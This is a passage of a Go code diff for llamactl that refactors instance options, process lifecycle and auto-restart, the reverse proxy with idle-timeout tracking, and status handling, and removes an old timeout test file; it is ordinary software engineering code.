 	OnDemandStart *bool `json:"on_demand_start,omitempty"`
 	// Idle timeout
 	IdleTimeout *int `json:"idle_timeout,omitempty"` // minutes
-
-	BackendType    backends.BackendType `json:"backend_type"`
-	BackendOptions map[string]any       `json:"backend_options,omitempty"`
-
-	// LlamaServerOptions contains the options for the llama server
-	LlamaServerOptions *llamacpp.LlamaServerOptions `json:"-"`
+	// Environment variables
+	Environment map[string]string `json:"environment,omitempty"`
+	// Assigned nodes
+	Nodes map[string]struct{} `json:"-"`
+	// Backend options
+	BackendOptions backends.Options `json:"-"`
 }
 
-// UnmarshalJSON implements custom JSON unmarshaling for CreateInstanceOptions
-func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
+// options wraps Options with thread-safe access (unexported).
+type options struct {
+	mu   sync.RWMutex
+	opts *Options
+}
+
+// newOptions creates a new options wrapper with the given Options
+func newOptions(opts *Options) *options {
+	return &options{
+		opts: opts,
+	}
+}
+
+// get returns a copy of the current options
+func (o *options) get() *Options {
+	o.mu.RLock()
+	defer o.mu.RUnlock()
+	return o.opts
+}
+
+// set updates the options
+func (o *options) set(opts *Options) {
+	o.mu.Lock()
+	defer o.mu.Unlock()
+	o.opts = opts
+}
+
+func (o *options) GetHost() string {
+	o.mu.RLock()
+	defer o.mu.RUnlock()
+	return o.opts.BackendOptions.GetHost()
+}
+
+func (o *options) GetPort() int {
+	o.mu.RLock()
+	defer o.mu.RUnlock()
+	return o.opts.BackendOptions.GetPort()
+}
+
+// MarshalJSON implements json.Marshaler for options wrapper
+func (o *options) MarshalJSON() ([]byte, error) {
+	o.mu.RLock()
+	defer o.mu.RUnlock()
+	return o.opts.MarshalJSON()
+}
+
+// UnmarshalJSON implements json.Unmarshaler for options wrapper
+func (o *options) UnmarshalJSON(data []byte) error {
+	o.mu.Lock()
+	defer o.mu.Unlock()
+
+	if o.opts == nil {
+		o.opts = &Options{}
+	}
+	return o.opts.UnmarshalJSON(data)
+}
+
+// UnmarshalJSON implements custom JSON unmarshaling for Options
+func (c *Options) UnmarshalJSON(data []byte) error {
 	// Use anonymous struct to avoid recursion
-	type Alias CreateInstanceOptions
+	type Alias Options
 	aux := &struct {
+		Nodes          []string             `json:"nodes,omitempty"`
+		BackendType    backends.BackendType `json:"backend_type"`
+		BackendOptions map[string]any       `json:"backend_options,omitempty"`
 		*Alias
 	}{
 		Alias: (*Alias)(c),
@@ -40,58 +102,88 @@ func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
 		return err
 	}
 
-	// Parse backend-specific options
-	switch c.BackendType {
-	case backends.BackendTypeLlamaCpp:
-		if c.BackendOptions != nil {
-			// Convert map to JSON and then unmarshal to LlamaServerOptions
-			optionsData, err := json.Marshal(c.BackendOptions)
-			if err != nil {
-				return fmt.Errorf("failed to marshal backend options: %w", err)
-			}
-
-			c.LlamaServerOptions = &llamacpp.LlamaServerOptions{}
-			if err := json.Unmarshal(optionsData, c.LlamaServerOptions); err != nil {
-				return fmt.Errorf("failed to unmarshal llama.cpp options: %w", err)
-			}
+	// Convert nodes array to map
+	if len(aux.Nodes) > 0 {
+		c.Nodes = make(map[string]struct{}, len(aux.Nodes))
+		for _, node := range aux.Nodes {
+			c.Nodes[node] = struct{}{}
 		}
-	default:
-		return fmt.Errorf("unknown backend type: %s", c.BackendType)
+	}
+
+	// Create backend options struct and unmarshal
+	c.BackendOptions = backends.Options{
+		BackendType:    aux.BackendType,
+		BackendOptions: aux.BackendOptions,
+	}
+
+	// Marshal the backend options to JSON for proper unmarshaling
+	backendJson, err := json.Marshal(struct {
+		BackendType    backends.BackendType `json:"backend_type"`
+		BackendOptions map[string]any       `json:"backend_options,omitempty"`
+	}{
+		BackendType:    aux.BackendType,
+		BackendOptions: aux.BackendOptions,
+	})
+	if err != nil {
+		return fmt.Errorf("failed to marshal backend options: %w", err)
+	}
+
+	// Unmarshal into the backends.Options struct to trigger its custom unmarshaling
+	if err := json.Unmarshal(backendJson, &c.BackendOptions); err != nil {
+		return fmt.Errorf("failed to unmarshal backend options: %w", err)
 	}
 
 	return nil
 }
 
-// MarshalJSON implements custom JSON marshaling for CreateInstanceOptions
-func (c *CreateInstanceOptions) MarshalJSON() ([]byte, error) {
+// MarshalJSON implements custom JSON marshaling for Options
+func (c *Options) MarshalJSON() ([]byte, error) {
 	// Use anonymous struct to avoid recursion
-	type Alias CreateInstanceOptions
+	type Alias Options
 	aux := struct {
+		Nodes          []string             `json:"nodes,omitempty"` // Output as JSON array
+		BackendType    backends.BackendType `json:"backend_type"`
+		BackendOptions map[string]any       `json:"backend_options,omitempty"`
 		*Alias
 	}{
 		Alias: (*Alias)(c),
 	}
 
-	// Convert LlamaServerOptions back to BackendOptions map for JSON
-	if c.BackendType == backends.BackendTypeLlamaCpp && c.LlamaServerOptions != nil {
-		data, err := json.Marshal(c.LlamaServerOptions)
-		if err != nil {
-			return nil, fmt.Errorf("failed to marshal llama server options: %w", err)
+	// Convert nodes map to array (sorted for consistency)
+	if len(c.Nodes) > 0 {
+		aux.Nodes = make([]string, 0, len(c.Nodes))
+		for node := range c.Nodes {
+			aux.Nodes = append(aux.Nodes, node)
 		}
-
-		var backendOpts map[string]any
-		if err := json.Unmarshal(data, &backendOpts); err != nil {
-			return nil, fmt.Errorf("failed to unmarshal to map: %w", err)
-		}
-
-		aux.BackendOptions = backendOpts
+		// Sort for consistent output
+		slices.Sort(aux.Nodes)
 	}
 
+	// Set backend type
+	aux.BackendType = c.BackendOptions.BackendType
+
+	// Marshal the backends.Options struct to get the properly formatted backend options
+	// Marshal a pointer to trigger the pointer receiver MarshalJSON method
+	backendData, err := json.Marshal(&c.BackendOptions)
+	if err != nil {
+		return nil, fmt.Errorf("failed to marshal backend options: %w", err)
+	}
+
+	// Unmarshal into a temporary struct to extract the backend_options map
+	var tempBackend struct {
+		BackendOptions map[string]any `json:"backend_options,omitempty"`
+	}
+	if err := json.Unmarshal(backendData, &tempBackend); err != nil {
+		return nil, fmt.Errorf("failed to unmarshal backend data: %w", err)
+	}
+
+	aux.BackendOptions = tempBackend.BackendOptions
+
 	return json.Marshal(aux)
 }
 
-// ValidateAndApplyDefaults validates the instance options and applies constraints
-func (c *CreateInstanceOptions) ValidateAndApplyDefaults(name string, globalSettings *config.InstancesConfig) {
+// validateAndApplyDefaults validates the instance options and applies constraints
+func (c *Options) validateAndApplyDefaults(name string, globalSettings *config.InstancesConfig) {
 	// Validate and apply constraints
 	if c.MaxRestarts != nil && *c.MaxRestarts < 0 {
 		log.Printf("Instance %s MaxRestarts value (%d) cannot be negative, setting to 0", name, *c.MaxRestarts)
@@ -128,14 +220,3 @@ func (c *CreateInstanceOptions) ValidateAndApplyDefaults(name string, globalSett
 		}
 	}
 }
-
-// BuildCommandArgs builds command line arguments for the backend
-func (c *CreateInstanceOptions) BuildCommandArgs() []string {
-	switch c.BackendType {
-	case backends.BackendTypeLlamaCpp:
-		if c.LlamaServerOptions != nil {
-			return c.LlamaServerOptions.BuildCommandArgs()
-		}
-	}
-	return []string{}
-}

pkg/instance/process.go

@@ -0,0 +1,413 @@
+package instance
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"log"
+	"net/http"
+	"os"
+	"os/exec"
+	"runtime"
+	"sync"
+	"syscall"
+	"time"
+)
+
+// process manages the OS process lifecycle for a local instance.
+// process owns its complete lifecycle including auto-restart logic.
+type process struct {
+	instance *Instance // Back-reference for SetStatus, GetOptions
+
+	mu            sync.RWMutex
+	cmd           *exec.Cmd
+	ctx           context.Context
+	cancel        context.CancelFunc
+	stdout        io.ReadCloser
+	stderr        io.ReadCloser
+	restarts      int
+	restartCancel context.CancelFunc
+	monitorDone   chan struct{}
+}
+
+// newProcess creates a new process component for the given instance
+func newProcess(instance *Instance) *process {
+	return &process{
+		instance: instance,
+	}
+}
+
+// start starts the OS process and returns an error if it fails.
+func (p *process) start() error {
+	p.mu.Lock()
+	defer p.mu.Unlock()
+
+	if p.instance.IsRunning() {
+		return fmt.Errorf("instance %s is already running", p.instance.Name)
+	}
+
+	// Safety check: ensure options are valid
+	if p.instance.options == nil {
+		return fmt.Errorf("instance %s has no options set", p.instance.Name)
+	}
+
+	// Reset restart counter when manually starting (not during auto-restart)
+	// We can detect auto-restart by checking if restartCancel is set
+	if p.restartCancel == nil {
+		p.restarts = 0
+	}
+
+	// Initialize last request time to current time when starting
+	if p.instance.proxy != nil {
+		p.instance.proxy.updateLastRequestTime()
+	}
+
+	// Create context before building command (needed for CommandContext)
+	p.ctx, p.cancel = context.WithCancel(context.Background())
+
+	// Create log files
+	if err := p.instance.logger.create(); err != nil {
+		return fmt.Errorf("failed to create log files: %w", err)
+	}
+
+	// Build command using backend-specific methods
+	cmd, cmdErr := p.buildCommand()
+	if cmdErr != nil {
+		return fmt.Errorf("failed to build command: %w", cmdErr)
+	}
+	p.cmd = cmd
+
+	if runtime.GOOS != "windows" {
+		setProcAttrs(p.cmd)
+	}
+
+	var err error
+	p.stdout, err = p.cmd.StdoutPipe()
+	if err != nil {
+		p.instance.logger.close()
+		return fmt.Errorf("failed to get stdout pipe: %w", err)
+	}
+	p.stderr, err = p.cmd.StderrPipe()
+	if err != nil {
+		p.stdout.Close()
+		p.instance.logger.close()
+		return fmt.Errorf("failed to get stderr pipe: %w", err)
+	}
+
+	if err := p.cmd.Start(); err != nil {
+		return fmt.Errorf("failed to start instance %s: %w", p.instance.Name, err)
+	}
+
+	p.instance.SetStatus(Running)
+
+	// Create channel for monitor completion signaling
+	p.monitorDone = make(chan struct{})
+
+	go p.instance.logger.readOutput(p.stdout)
+	go p.instance.logger.readOutput(p.stderr)
+
+	go p.monitorProcess()
+
+	return nil
+}
+
+// stop terminates the subprocess without restarting
+func (p *process) stop() error {
+	p.mu.Lock()
+
+	if !p.instance.IsRunning() {
+		// Even if not running, cancel any pending restart
+		if p.restartCancel != nil {
+			p.restartCancel()
+			p.restartCancel = nil
+			log.Printf("Cancelled pending restart for instance %s", p.instance.Name)
+		}
+		p.mu.Unlock()
+		return fmt.Errorf("instance %s is not running", p.instance.Name)
+	}
+
+	// Cancel any pending restart
+	if p.restartCancel != nil {
+		p.restartCancel()
+		p.restartCancel = nil
+	}
+
+	// Set status to stopped first to signal intentional stop
+	p.instance.SetStatus(Stopped)
+
+	// Get the monitor done channel before releasing the lock
+	monitorDone := p.monitorDone
+
+	p.mu.Unlock()
+
+	// Stop the process with SIGINT if cmd exists
+	if p.cmd != nil && p.cmd.Process != nil {
+		if err := p.cmd.Process.Signal(syscall.SIGINT); err != nil {
+			log.Printf("Failed to send SIGINT to instance %s: %v", p.instance.Name, err)
+		}
+	}
+
+	// If no process exists, we can return immediately
+	if p.cmd == nil || monitorDone == nil {
+		p.instance.logger.close()
+		return nil
+	}
+
+	select {
+	case <-monitorDone:
+		// Process exited normally
+	case <-time.After(30 * time.Second):
+		// Force kill if it doesn't exit within 30 seconds
+		if p.cmd != nil && p.cmd.Process != nil {
+			killErr := p.cmd.Process.Kill()
+			if killErr != nil {
+				log.Printf("Failed to force kill instance %s: %v", p.instance.Name, killErr)
+			}
+			log.Printf("Instance %s did not stop in time, force killed", p.instance.Name)
+
+			// Wait a bit more for the monitor to finish after force kill
+			select {
+			case <-monitorDone:
+				// Monitor completed after force kill
+			case <-time.After(2 * time.Second):
+				log.Printf("Warning: Monitor goroutine did not complete after force kill for instance %s", p.instance.Name)
+			}
+		}
+	}
+
+	p.instance.logger.close()
+
+	return nil
+}
+
+// restart manually restarts the process (resets restart counter)
+func (p *process) restart() error {
+	// Stop the process first
+	if err := p.stop(); err != nil {
+		// If it's not running, that's ok - we'll just start it
+		if err.Error() != fmt.Sprintf("instance %s is not running", p.instance.Name) {
+			return fmt.Errorf("failed to stop instance during restart: %w", err)
+		}
+	}
+
+	// Reset restart counter for manual restart
+	p.mu.Lock()
+	p.restarts = 0
+	p.mu.Unlock()
+
+	// Start the process
+	return p.start()
+}
+
+// waitForHealthy waits for the process to become healthy
+func (p *process) waitForHealthy(timeout int) error {
+	if !p.instance.IsRunning() {
+		return fmt.Errorf("instance %s is not running", p.instance.Name)
+	}
+
+	if timeout <= 0 {
+		timeout = 30 // Default to 30 seconds if no timeout is specified
+	}
+
+	ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second)
+	defer cancel()
+
+	// Get host/port from instance
+	host := p.instance.options.GetHost()
+	port := p.instance.options.GetPort()
+	healthURL := fmt.Sprintf("http://%s:%d/health", host, port)
+
+	// Create a dedicated HTTP client for health checks
+	client := &http.Client{
+		Timeout: 5 * time.Second, // 5 second timeout per request
+	}
+
+	// Helper function to check health directly
+	checkHealth := func() bool {
+		req, err := http.NewRequestWithContext(ctx, "GET", healthURL, nil)
+		if err != nil {
+			return false
+		}
+
+		resp, err := client.Do(req)
+		if err != nil {
+			return false
+		}
+		defer resp.Body.Close()
+
+		return resp.StatusCode == http.StatusOK
+	}
+
+	// Try immediate check first
+	if checkHealth() {
+		return nil // Instance is healthy
+	}
+
+	// If immediate check failed, start polling
+	ticker := time.NewTicker(1 * time.Second)
+	defer ticker.Stop()
+
+	for {
+		select {
+		case <-ctx.Done():
+			return fmt.Errorf("timeout waiting for instance %s to become healthy after %d seconds", p.instance.Name, timeout)
+		case <-ticker.C:
+			if checkHealth() {
+				return nil // Instance is healthy
+			}
+			// Continue polling
+		}
+	}
+}
+
+// monitorProcess monitors the OS process and handles crashes/exits
+func (p *process) monitorProcess() {
+	defer func() {
+		p.mu.Lock()
+		if p.monitorDone != nil {
+			close(p.monitorDone)
+			p.monitorDone = nil
+		}
+		p.mu.Unlock()
+	}()
+
+	err := p.cmd.Wait()
+
+	p.mu.Lock()
+
+	// Check if the instance was intentionally stopped
+	if !p.instance.IsRunning() {
+		p.mu.Unlock()
+		return
+	}
+
+	p.instance.SetStatus(Stopped)
+	p.instance.logger.close()
+
+	// Cancel any existing restart context since we're handling a new exit
+	if p.restartCancel != nil {
+		p.restartCancel()
+		p.restartCancel = nil
+	}
+
+	// Log the exit
+	if err != nil {
+		log.Printf("Instance %s crashed with error: %v", p.instance.Name, err)
+		// Handle auto-restart logic
+		p.handleAutoRestart(err)
+	} else {
+		log.Printf("Instance %s exited cleanly", p.instance.Name)
+		p.mu.Unlock()
+	}
+}
+
+// shouldAutoRestart checks if the process should auto-restart
+func (p *process) shouldAutoRestart() bool {
+	opts := p.instance.GetOptions()
+	if opts == nil {
+		log.Printf("Instance %s not restarting: options are nil", p.instance.Name)
+		return false
+	}
+
+	if opts.AutoRestart == nil || !*opts.AutoRestart {
+		log.Printf("Instance %s not restarting: AutoRestart is disabled", p.instance.Name)
+		return false
+	}
+
+	if opts.MaxRestarts == nil {
+		log.Printf("Instance %s not restarting: MaxRestarts is nil", p.instance.Name)
+		return false
+	}
+
+	maxRestarts := *opts.MaxRestarts
+	if p.restarts >= maxRestarts {
+		log.Printf("Instance %s exceeded max restart attempts (%d)", p.instance.Name, maxRestarts)
+		return false
+	}
+
+	return true
+}
+
+// handleAutoRestart manages the auto-restart process
+func (p *process) handleAutoRestart(err error) {
+	// Check if should restart
+	if !p.shouldAutoRestart() {
+		p.instance.SetStatus(Failed)
+		p.mu.Unlock()
+		return
+	}
+
+	// Get restart parameters
+	opts := p.instance.GetOptions()
+	if opts.RestartDelay == nil {
+		log.Printf("Instance %s not restarting: RestartDelay is nil", p.instance.Name)
+		p.instance.SetStatus(Failed)
+		p.mu.Unlock()
+		return
+	}
+
+	restartDelay := *opts.RestartDelay
+	maxRestarts := *opts.MaxRestarts
+
+	p.restarts++
+
+	// Set status to Restarting instead of leaving as Stopped
+	p.instance.SetStatus(Restarting)
+
+	log.Printf("Auto-restarting instance %s (attempt %d/%d) in %v",
+		p.instance.Name, p.restarts, maxRestarts, time.Duration(restartDelay)*time.Second)
+
+	// Create a cancellable context for the restart delay
+	restartCtx, cancel := context.WithCancel(context.Background())
+	p.restartCancel = cancel
+
+	// Release the lock before sleeping
+	p.mu.Unlock()
+
+	// Use context-aware sleep so it can be cancelled
+	select {
+	case <-time.After(time.Duration(restartDelay) * time.Second):
+		// Sleep completed normally, continue with restart
+	case <-restartCtx.Done():
+		// Restart was cancelled
+		log.Printf("Restart cancelled for instance %s", p.instance.Name)
+		return
+	}
+
+	// Restart the instance
+	if err := p.start(); err != nil {
+		log.Printf("Failed to restart instance %s: %v", p.instance.Name, err)
+	} else {
+		log.Printf("Successfully restarted instance %s", p.instance.Name)
+		// Clear the cancel function
+		p.mu.Lock()
+		p.restartCancel = nil
+		p.mu.Unlock()
+	}
+}
+
+// buildCommand builds the command to execute using backend-specific logic
+func (p *process) buildCommand() (*exec.Cmd, error) {
+
+	// Build the environment variables
+	env := p.instance.buildEnvironment()
+
+	// Get the command to execute
+	command := p.instance.getCommand()
+
+	// Build command arguments
+	args := p.instance.buildCommandArgs()
+
+	// Create the exec.Cmd
+	cmd := exec.CommandContext(p.ctx, command, args...)
+
+	// Start with host environment variables
+	cmd.Env = os.Environ()
+
+	// Add/override with backend-specific environment variables
+	for k, v := range env {
+		cmd.Env = append(cmd.Env, fmt.Sprintf("%s=%s", k, v))
+	}
+
+	return cmd, nil
+}

pkg/instance/proxy.go

@@ -0,0 +1,201 @@
+package instance
+
+import (
+	"fmt"
+	"net/http"
+	"net/http/httputil"
+	"net/url"
+	"sync"
+	"sync/atomic"
+	"time"
+)
+
+// TimeProvider interface allows for testing with mock time
+type TimeProvider interface {
+	Now() time.Time
+}
+
+// realTimeProvider implements TimeProvider using the actual time
+type realTimeProvider struct{}
+
+func (realTimeProvider) Now() time.Time {
+	return time.Now()
+}
+
+// proxy manages HTTP reverse proxy and request tracking for an instance.
+type proxy struct {
+	instance *Instance
+
+	targetURL *url.URL
+	apiKey    string // For remote instances
+
+	responseHeaders map[string]string
+
+	mu sync.RWMutex
+
+	proxy     *httputil.ReverseProxy
+	proxyOnce sync.Once
+	proxyErr  error
+
+	lastRequestTime atomic.Int64
+	timeProvider    TimeProvider
+}
+
+// newProxy creates a new Proxy for the given instance
+func newProxy(instance *Instance) (*proxy, error) {
+
+	p := &proxy{
+		instance:     instance,
+		timeProvider: realTimeProvider{},
+	}
+
+	var err error
+
+	options := instance.GetOptions()
+	if options == nil {
+		return nil, fmt.Errorf("instance %s has no options set", instance.Name)
+	}
+
+	if instance.IsRemote() {
+
+		// Take the first remote node as the target for now
+		var nodeName string
+		for node := range options.Nodes {
+			nodeName = node
+			break
+		}
+
+		if nodeName == "" {
+			return nil, fmt.Errorf("instance %s has no remote nodes defined", p.instance.Name)
+		}
+
+		node, ok := p.instance.globalNodesConfig[nodeName]
+		if !ok {
+			return nil, fmt.Errorf("remote node %s is not defined", nodeName)
+		}
+
+		p.targetURL, err = url.Parse(node.Address)
+		if err != nil {
+			return nil, fmt.Errorf("failed to parse target URL for remote instance %s: %w", p.instance.Name, err)
+		}
+
+		p.apiKey = node.APIKey
+	} else {
+		// Get host/port from process
+		host := p.instance.options.GetHost()
+		port := p.instance.options.GetPort()
+		if port == 0 {
+			return nil, fmt.Errorf("instance %s has no port assigned", p.instance.Name)
+		}
+		p.targetURL, err = url.Parse(fmt.Sprintf("http://%s:%d", host, port))
+		if err != nil {
+			return nil, fmt.Errorf("failed to parse target URL for instance %s: %w", p.instance.Name, err)
+		}
+
+		// Get response headers from backend config
+		p.responseHeaders = options.BackendOptions.GetResponseHeaders(p.instance.globalBackendSettings)
+	}
+
+	return p, nil
+
+}
+
+// get returns the reverse proxy for this instance, creating it if needed.
+// Uses sync.Once to ensure thread-safe one-time initialization.
+func (p *proxy) get() (*httputil.ReverseProxy, error) {
+	// sync.Once guarantees buildProxy() is called exactly once
+	// Other callers block until first initialization completes
+	p.proxyOnce.Do(func() {
+		p.proxy, p.proxyErr = p.build()
+	})
+
+	return p.proxy, p.proxyErr
+}
+
+// build creates the reverse proxy based on instance options
+func (p *proxy) build() (*httputil.ReverseProxy, error) {
+
+	proxy := httputil.NewSingleHostReverseProxy(p.targetURL)
+
+	// Modify the request before sending it to the backend
+	originalDirector := proxy.Director
+	proxy.Director = func(req *http.Request) {
+		originalDirector(req)
+
+		// Add API key header for remote instances
+		if p.instance.IsRemote() && p.apiKey != "" {
+			req.Header.Set("Authorization", "Bearer "+p.apiKey)
+		}
+
+		// Update last request time
+		p.updateLastRequestTime()
+	}
+
+	if !p.instance.IsRemote() {
+		// Add custom headers to the request
+		proxy.ModifyResponse = func(resp *http.Response) error {
+			// Remove CORS headers from backend response to avoid conflicts
+			// llamactl will add its own CORS headers
+			resp.Header.Del("Access-Control-Allow-Origin")
+			resp.Header.Del("Access-Control-Allow-Methods")
+			resp.Header.Del("Access-Control-Allow-Headers")
+			resp.Header.Del("Access-Control-Allow-Credentials")
+			resp.Header.Del("Access-Control-Max-Age")
+			resp.Header.Del("Access-Control-Expose-Headers")
+
+			for key, value := range p.responseHeaders {
+				resp.Header.Set(key, value)
+			}
+			return nil
+		}
+	}
+
+	return proxy, nil
+}
+
+// clear resets the proxy, allowing it to be recreated when options change.
+func (p *proxy) clear() {
+	p.mu.Lock()
+	defer p.mu.Unlock()
+
+	p.proxy = nil
+	p.proxyErr = nil
+	p.proxyOnce = sync.Once{} // Reset Once for next GetProxy call
+}
+
+// updateLastRequestTime updates the last request access time for the instance
+func (p *proxy) updateLastRequestTime() {
+	lastRequestTime := p.timeProvider.Now().Unix()
+	p.lastRequestTime.Store(lastRequestTime)
+}
+
+// getLastRequestTime returns the last request time as a Unix timestamp
+func (p *proxy) getLastRequestTime() int64 {
+	return p.lastRequestTime.Load()
+}
+
+// shouldTimeout checks if the instance should timeout based on idle time
+func (p *proxy) shouldTimeout() bool {
+	if !p.instance.IsRunning() {
+		return false
+	}
+
+	options := p.instance.GetOptions()
+	if options == nil || options.IdleTimeout == nil || *options.IdleTimeout <= 0 {
+		return false
+	}
+
+	// Check if the last request time exceeds the idle timeout
+	lastRequest := p.lastRequestTime.Load()
+	idleTimeoutMinutes := *options.IdleTimeout
+
+	// Convert timeout from minutes to seconds for comparison
+	idleTimeoutSeconds := int64(idleTimeoutMinutes * 60)
+
+	return (p.timeProvider.Now().Unix() - lastRequest) > idleTimeoutSeconds
+}
+
+// setTimeProvider sets a custom time provider for testing
+func (p *proxy) setTimeProvider(tp TimeProvider) {
+	p.timeProvider = tp
+}

pkg/instance/status.go

@@ -3,48 +3,35 @@ package instance
 import (
 	"encoding/json"
 	"log"
+	"sync"
 )
 
-// Enum for instance status
-type InstanceStatus int
+// Status is the enum for status values (exported).
+type Status int
 
 const (
-	Stopped InstanceStatus = iota
+	Stopped Status = iota
 	Running
 	Failed
+	Restarting
 )
 
-var nameToStatus = map[string]InstanceStatus{
-	"stopped": Stopped,
-	"running": Running,
-	"failed":  Failed,
+var nameToStatus = map[string]Status{
+	"stopped":    Stopped,
+	"running":    Running,
+	"failed":     Failed,
+	"restarting": Restarting,
 }
 
-var statusToName = map[InstanceStatus]string{
-	Stopped: "stopped",
-	Running: "running",
-	Failed:  "failed",
+var statusToName = map[Status]string{
+	Stopped:    "stopped",
+	Running:    "running",
+	Failed:     "failed",
+	Restarting: "restarting",
 }
 
-func (p *Process) SetStatus(status InstanceStatus) {
-	oldStatus := p.Status
-	p.Status = status
-
-	if p.onStatusChange != nil {
-		p.onStatusChange(oldStatus, status)
-	}
-}
-
-func (p *Process) GetStatus() InstanceStatus {
-	return p.Status
-}
-
-// IsRunning returns true if the status is Running
-func (p *Process) IsRunning() bool {
-	return p.Status == Running
-}
-
-func (s InstanceStatus) MarshalJSON() ([]byte, error) {
+// Status enum JSON marshaling methods
+func (s Status) MarshalJSON() ([]byte, error) {
 	name, ok := statusToName[s]
 	if !ok {
 		name = "stopped" // Default to "stopped" for unknown status
@@ -52,8 +39,8 @@ func (s InstanceStatus) MarshalJSON() ([]byte, error) {
 	return json.Marshal(name)
 }
 
-// UnmarshalJSON implements json.Unmarshaler
-func (s *InstanceStatus) UnmarshalJSON(data []byte) error {
+// UnmarshalJSON implements json.Unmarshaler for Status enum
+func (s *Status) UnmarshalJSON(data []byte) error {
 	var str string
 	if err := json.Unmarshal(data, &str); err != nil {
 		return err
@@ -68,3 +55,61 @@ func (s *InstanceStatus) UnmarshalJSON(data []byte) error {
 	*s = status
 	return nil
 }
+
+// status represents the instance status with thread-safe access (unexported).
+type status struct {
+	mu sync.RWMutex
+	s  Status
+
+	// Callback for status changes
+	onStatusChange func(oldStatus, newStatus Status)
+}
+
+// newStatus creates a new status wrapper with the given initial status
+func newStatus(initial Status) *status {
+	return &status{
+		s: initial,
+	}
+}
+
+// get returns the current status
+func (st *status) get() Status {
+	st.mu.RLock()
+	defer st.mu.RUnlock()
+	return st.s
+}
+
+// set updates the status and triggers the onStatusChange callback if set
+func (st *status) set(newStatus Status) {
+	st.mu.Lock()
+	oldStatus := st.s
+	st.s = newStatus
+	callback := st.onStatusChange
+	st.mu.Unlock()
+
+	// Call the callback outside the lock to avoid potential deadlocks
+	if callback != nil {
+		callback(oldStatus, newStatus)
+	}
+}
+
+// isRunning returns true if the status is Running
+func (st *status) isRunning() bool {
+	st.mu.RLock()
+	defer st.mu.RUnlock()
+	return st.s == Running
+}
+
+// MarshalJSON implements json.Marshaler for status wrapper
+func (st *status) MarshalJSON() ([]byte, error) {
+	st.mu.RLock()
+	defer st.mu.RUnlock()
+	return st.s.MarshalJSON()
+}
+
+// UnmarshalJSON implements json.Unmarshaler for status wrapper
+func (st *status) UnmarshalJSON(data []byte) error {
+	st.mu.Lock()
+	defer st.mu.Unlock()
+	return st.s.UnmarshalJSON(data)
+}

pkg/instance/timeout.go

@@ -1,28 +0,0 @@
-package instance
-
-// UpdateLastRequestTime updates the last request access time for the instance via proxy
-func (i *Process) UpdateLastRequestTime() {
-	i.mu.Lock()
-	defer i.mu.Unlock()
-
-	lastRequestTime := i.timeProvider.Now().Unix()
-	i.lastRequestTime.Store(lastRequestTime)
-}
-
-func (i *Process) ShouldTimeout() bool {
-	i.mu.RLock()
-	defer i.mu.RUnlock()
-
-	if !i.IsRunning() || i.options.IdleTimeout == nil || *i.options.IdleTimeout <= 0 {
-		return false
-	}
-
-	// Check if the last request time exceeds the idle timeout
-	lastRequest := i.lastRequestTime.Load()
-	idleTimeoutMinutes := *i.options.IdleTimeout
-
-	// Convert timeout from minutes to seconds for comparison
-	idleTimeoutSeconds := int64(idleTimeoutMinutes * 60)
-
-	return (i.timeProvider.Now().Unix() - lastRequest) > idleTimeoutSeconds
-}

pkg/instance/timeout_test.go

@@ -1,220 +0,0 @@
-package instance_test
-
-import (
-	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
-	"llamactl/pkg/config"
-	"llamactl/pkg/instance"
-	"llamactl/pkg/testutil"
-	"sync/atomic"
-	"testing"
-	"time"
-)
-
-// MockTimeProvider implements TimeProvider for testing
-type MockTimeProvider struct {
-	currentTime atomic.Int64 // Unix timestamp
-}
-
-func NewMockTimeProvider(t time.Time) *MockTimeProvider {
-	m := &MockTimeProvider{}
-	m.currentTime.Store(t.Unix())
-	return m
-}
-
-func (m *MockTimeProvider) Now() time.Time {
-	return time.Unix(m.currentTime.Load(), 0)
-}
-
-func (m *MockTimeProvider) SetTime(t time.Time) {
-	m.currentTime.Store(t.Unix())
-}
-
-// Timeout-related tests
-
-func TestUpdateLastRequestTime(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir: "/tmp/test",
-	}
-
-	options := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Mock onStatusChange function
-	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
-
-	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
-
-	// Test that UpdateLastRequestTime doesn't panic
-	inst.UpdateLastRequestTime()
-}
-
-func TestShouldTimeout_NotRunning(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir: "/tmp/test",
-	}
-
-	idleTimeout := 1 // 1 minute
-	options := &instance.CreateInstanceOptions{
-		IdleTimeout: &idleTimeout,
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Mock onStatusChange function
-	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
-
-	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
-
-	// Instance is not running, should not timeout regardless of configuration
-	if inst.ShouldTimeout() {
-		t.Error("Non-running instance should never timeout")
-	}
-}
-
-func TestShouldTimeout_NoTimeoutConfigured(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir: "/tmp/test",
-	}
-
-	tests := []struct {
-		name        string
-		idleTimeout *int
-	}{
-		{"nil timeout", nil},
-		{"zero timeout", testutil.IntPtr(0)},
-		{"negative timeout", testutil.IntPtr(-5)},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			// Mock onStatusChange function
-			mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
-
-			options := &instance.CreateInstanceOptions{
-				IdleTimeout: tt.idleTimeout,
-				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
-					Model: "/path/to/model.gguf",
-				},
-			}
-
-			inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
-			// Simulate running state
-			inst.SetStatus(instance.Running)
-
-			if inst.ShouldTimeout() {
-				t.Errorf("Instance with %s should not timeout", tt.name)
-			}
-		})
-	}
-}
-
-func TestShouldTimeout_WithinTimeLimit(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
